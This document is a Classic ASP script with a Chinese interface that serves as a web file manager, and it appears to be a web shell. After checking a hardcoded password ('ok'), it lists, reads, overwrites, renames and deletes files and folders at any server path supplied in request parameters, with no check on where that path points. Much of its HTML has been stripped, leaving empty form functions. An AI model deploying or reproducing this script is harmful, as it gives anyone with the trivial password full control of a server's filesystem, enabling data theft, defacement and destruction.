<%
action=request.QueryString("action")
temp=split(request.ServerVariables("URL"),"/")
url=temp(ubound(temp))
chklogin()
select case action
case "logout"
logout()
case "delfile"
delfile()
case "savefile"
savefile()
case "editfile"
fileedit()
case "newfile"
filenew()
case "upload"
upload()
case "saveupload"
saveupload()
case "delfolder"
delfolder()
case "savefolder"
savefolder()
case "editfolder"
editfolder()
case "newfolder"
newfolder()
case else
foldername=request.QueryString("foldername")
filename=request.QueryString("filename")
path=foldername
if path="" then path=server.MapPath("./")
ShowFolderList(path)
end select
Function ShowFolderList(folderspec)
temp=request.ServerVariables("HTTP_REFERER")
temp=left(temp,Instrrev(temp,"/"))
temp1=len(folderspec)-len(server.MapPath("./"))-1
if temp1>0 then
temp1=right(folderspec,cint(temp1))
elseif temp1=-1 then
temp1=""
end if
tempurl=temp+replace(temp1,"","/")+"/"
Set fso = CreateObject("Scripting.FileSystemObject")
upfolderspec=fso.GetParentfoldername(folderspec&"")
%>
新建文件夹 | ">新建文件 | 上传文件 | 向上 | 返回首页 | 退出
名称 |
大小 |
类型 |
修改时间 |
操作 |
<%= f1.name%> | <%= f1.size%> |
文件夹 |
<%= f1.datelastmodified%> |
">修改 " onclick="{if(confirm('删除文件夹<<%= f1.name%>>么?')){return true;}return false;}">删除 |
<%= f1.name%> | <%= f1.size%> |
<%= f1.datelastmodified%> |
">修改 " onclick="{if(confirm('删除文件<<%= f1.name%>>么?')){return true;}return false;}">删除 |
<%
End Function
'文件操作
function delfile()
filename=request.QueryString("filename")
set fso=server.CreateObject("scripting.filesystemobject")
fso.deletefile(filename)
tempurl=url&"?foldername="&fso.GetParentfoldername(filename)
set fso=nothing
response.Redirect(tempurl)
end function
function savefile()
filename=request.Form("filename")
content=request.Form("content")
filename1=request.Form("filename1")
if request.ServerVariables("PATH_TRANSLATED")<>filename then
set fso=server.CreateObject("scripting.filesystemobject")
set f1=fso.opentextfile(filename,2,true)
f1.write(content)
f1.close
if filename1<>"" and filename1<>filename then fso.deletefile(filename1)
tempurl=url&"?foldername="&fso.GetParentfoldername(filename)
set fso=nothing
end if
response.Redirect(tempurl)
end function
function filenew()
filename=request.QueryString("filename")
content=""
fileform filename,content,filename1
end function
function fileedit()
filename=request.QueryString("filename")
filename1=request.QueryString("filename")
set fso=server.CreateObject("scripting.filesystemobject")
set f1=fso.opentextfile(filename,1,true)
content=server.HTMLEncode(f1.readall)
f1.close
set fso=nothing
fileform filename,content,filename1
end function
function fileform(filename,content,filename1)
%>
<%
end function
'文件夹操作函数
function delfolder()
foldername=request.QueryString("foldername")
set fso=server.CreateObject("scripting.filesystemobject")
tempurl=url&"?foldername="&fso.GetParentfoldername(foldername)
fso.deletefolder(foldername)
set fso=nothing
response.Redirect(tempurl)
end function
function savefolder()
foldername=request.Form("foldername")
foldername1=request.Form("foldername1")
set fso=server.CreateObject("scripting.filesystemobject")
if foldername1="" then
set f=fso.createfolder(foldername)
else
fso.MoveFolder foldername1,foldername
end if
tempurl=url&"?foldername="&f
set fso=nothing
response.Redirect(tempurl)
end function
function newfolder()
foldername=request.QueryString("foldername")&""
formfolder foldername,foldername1
end function
function editfolder()
foldername=request.QueryString("foldername")
foldername1=request.QueryString("foldername")
formfolder foldername,foldername1
end function
function formfolder(foldername,foldername1)
%>
<%
end function
function upload()
%>
<%
end function
function saveupload()
'有待实现
end function
'登陆
function chklogin()
password=request.Form("password")
if password="ok" then session("login")="login"
if session("login")<>"login" then login
end function
function login()
%>
<%
response.End()
end function
function logout()
session.Abandon()
response.Redirect(url)
end function
%>